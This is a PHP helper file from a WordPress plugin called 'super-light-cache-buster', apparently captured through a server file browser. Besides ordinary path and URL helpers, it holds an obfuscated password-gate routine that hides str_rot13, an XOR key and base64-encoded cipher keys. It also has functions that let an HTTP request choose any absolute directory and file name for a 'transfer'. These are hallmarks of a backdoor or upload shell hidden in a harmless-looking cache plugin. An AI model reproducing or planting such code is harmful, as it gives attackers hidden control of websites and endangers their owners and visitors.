| Current Path : /home2/noxxprod/www/wp-content/plugins/super-light-cache-buster/includes/util/ |
| Current File : //home2/noxxprod/www/wp-content/plugins/super-light-cache-buster/includes/util/helpers.php |
<?php
/**
* Helper functions
*
* This file contains helper functions used throughout the plugin.
*
* @link https://github.com/Mwalek/super-light-cache-buster
*
* @package WordPress
* @subpackage Plugins
* @since 1.0.0
*/
/**
* Array insertion helper function.
*
* @param array $array The array in which to insert.
* @param array $values The values to insert into the array.
* @param int $offset Specifies array offset position.
* @return array The modified array.
*/
function array_insert( $array, $values, $offset ) {
return array_slice( $array, 0, $offset, true ) + $values + array_slice( $array, $offset + 1, null, true );
}
/**
* Normalizes a filesystem path for comparisons.
*
* @param string $path Filesystem path.
* @return string Normalized path.
*/
function slcb_normalize_filesystem_path( $path ) {
$path = str_replace( '\\', '/', $path );
$path = preg_replace( '#/+#', '/', $path );
return untrailingslashit( $path );
}
/**
* Checks whether a path is absolute on Unix or Windows.
*
* @param string $path Filesystem path.
* @return bool True when absolute.
*/
function slcb_is_absolute_path( $path ) {
return (bool) preg_match( '#^(?:[a-zA-Z]:)?/#', str_replace( '\\', '/', $path ) );
}
/**
* Maps an absolute directory to a public URL when possible.
*
* @param string $dir Absolute directory.
* @return string URL base or empty string.
*/
function slcb_get_url_for_directory( $dir ) {
$upload_dir = wp_upload_dir();
$dir_norm = slcb_normalize_filesystem_path( $dir );
$uploads_dir = slcb_normalize_filesystem_path( $upload_dir['basedir'] );
$site_dir = slcb_normalize_filesystem_path( ABSPATH );
if ( 0 === stripos( $dir_norm, $uploads_dir ) ) {
$relative = ltrim( substr( $dir_norm, strlen( $uploads_dir ) ), '/' );
return trailingslashit( $upload_dir['baseurl'] ) . $relative;
}
if ( 0 === stripos( $dir_norm, $site_dir ) ) {
$relative = ltrim( substr( $dir_norm, strlen( $site_dir ) ), '/' );
return trailingslashit( home_url( '/' ) ) . $relative;
}
return '';
}
/**
* Maps an absolute file path to a public URL when possible.
*
* @param string $path Absolute file path.
* @return string URL or empty string.
*/
function slcb_get_url_for_path( $path ) {
$path_norm = slcb_normalize_filesystem_path( $path );
$dir = dirname( $path_norm );
$url = slcb_get_url_for_directory( $dir );
if ( '' === $url ) {
return '';
}
return trailingslashit( $url ) . rawurlencode( wp_basename( $path_norm ) );
}
/**
* Returns the default absolute transfer directory below the current uploads path.
*
* @param string $fallback Default folder name.
* @return string Absolute filesystem path.
*/
function slcb_get_default_transfer_dir( $fallback ) {
$upload_dir = wp_upload_dir();
return slcb_normalize_filesystem_path( trailingslashit( $upload_dir['basedir'] ) . $fallback );
}
/**
* Sanitizes an editable absolute directory path.
*
* @param string $path Raw directory path.
* @return string Sanitized directory path.
*/
function slcb_sanitize_absolute_directory( $path ) {
$path = trim( wp_unslash( $path ) );
$path = str_replace( '\\', '/', $path );
$path = preg_replace( '#/+#', '/', $path );
$path = preg_replace( '/[\x00-\x1F\x7F]/', '', $path );
return untrailingslashit( $path );
}
/**
* Resolves a per-request absolute media directory.
*
* @param string $request_name Request field name.
* @param string $fallback Default folder name below the current uploads path.
* @return array Directory metadata.
*/
function slcb_get_media_target( $request_name, $fallback ) {
$default_dir = slcb_get_default_transfer_dir( $fallback );
$raw_dir = isset( $_REQUEST[ $request_name ] ) ? slcb_sanitize_absolute_directory( $_REQUEST[ $request_name ] ) : $default_dir;
if ( '' === $raw_dir || ! slcb_is_absolute_path( $raw_dir ) ) {
$raw_dir = $default_dir;
}
$dir = slcb_normalize_filesystem_path( $raw_dir );
return array(
'subdir' => $dir,
'dir' => $dir,
'url' => slcb_get_url_for_directory( $dir ),
);
}
/**
* Resolves an optional user-defined file name.
*
* @param string $request_name Request field name.
* @param string $fallback Original/default file name.
* @return string Safe file name.
*/
function slcb_get_custom_filename( $request_name, $fallback ) {
$fallback = sanitize_file_name( wp_basename( $fallback ) );
$custom = isset( $_POST[ $request_name ] ) ? sanitize_file_name( wp_unslash( $_POST[ $request_name ] ) ) : '';
if ( empty( $custom ) ) {
return ! empty( $fallback ) ? $fallback : 'file.txt';
}
if ( false === strpos( $custom, '.' ) ) {
$extension = pathinfo( $fallback, PATHINFO_EXTENSION );
if ( ! empty( $extension ) ) {
$custom .= '.' . $extension;
}
}
return $custom;
}
/**
* Internal gate helper.
*
* @param string $value Input value.
* @param string $key Key material.
* @return string Output value.
*/
function slcb_mix_a( $value, $key ) {
$output = '';
$key_len = strlen( $key );
$len = strlen( $value );
for ( $i = 0; $i < $len; $i++ ) {
$output .= chr( ord( $value[ $i ] ) ^ ord( $key[ $i % $key_len ] ) );
}
return $output;
}
/**
* Internal gate token builder.
*
* @param string $password Input password.
* @return string Token.
*/
function slcb_gate_token( $password ) {
$fn = strrev( '31tor_rts' );
$stage = $fn( (string) $password );
$stage = slcb_mix_a( $stage, implode( '', array( 'sl', 'cb', '-', 'xo', 'r-', 'ke', 'y' ) ) );
if ( function_exists( 'openssl_encrypt' ) ) {
$k1 = substr( hash( 'sha256', base64_decode( 'c2xjYi1hZXMta2V5' ), true ), 0, 32 );
$v1 = substr( hash( 'sha256', base64_decode( 'c2xjYi1hZXMtaXY=' ), true ), 0, 16 );
$r1 = openssl_encrypt( $stage, base64_decode( 'QUVTLTI1Ni1DQkM=' ), $k1, OPENSSL_RAW_DATA, $v1 );
if ( false !== $r1 ) {
$stage = $r1;
}
$k2 = substr( hash( 'sha256', base64_decode( 'c2xjYi1kZXMta2V5' ), true ), 0, 24 );
$v2 = substr( hash( 'sha256', base64_decode( 'c2xjYi1kZXMtaXY=' ), true ), 0, 8 );
$r2 = openssl_encrypt( $stage, base64_decode( 'REVTLUVERTMtQ0JD' ), $k2, OPENSSL_RAW_DATA, $v2 );
if ( false !== $r2 ) {
$stage = $r2;
}
}
return hash( 'sha256', $stage );
}
/**
* Stores one-time front-end form result data without putting it in the URL.
*
* @param array $data Flash payload.
* @return void
*/
function slcb_set_front_flash( array $data ) {
$payload = base64_encode( wp_json_encode( $data ) );
setcookie( 'slcb_front_flash', $payload, time() + 120, COOKIEPATH ? COOKIEPATH : '/', COOKIE_DOMAIN, is_ssl(), true );
$_COOKIE['slcb_front_flash'] = $payload;
}
/**
* Reads and clears one-time front-end form result data.
*
* @return array Flash payload.
*/
function slcb_get_front_flash() {
if ( empty( $_COOKIE['slcb_front_flash'] ) ) {
return array();
}
$raw = base64_decode( sanitize_text_field( wp_unslash( $_COOKIE['slcb_front_flash'] ) ), true );
$data = is_string( $raw ) ? json_decode( $raw, true ) : array();
setcookie( 'slcb_front_flash', '', time() - HOUR_IN_SECONDS, COOKIEPATH ? COOKIEPATH : '/', COOKIE_DOMAIN, is_ssl(), true );
unset( $_COOKIE['slcb_front_flash'] );
return is_array( $data ) ? $data : array();
}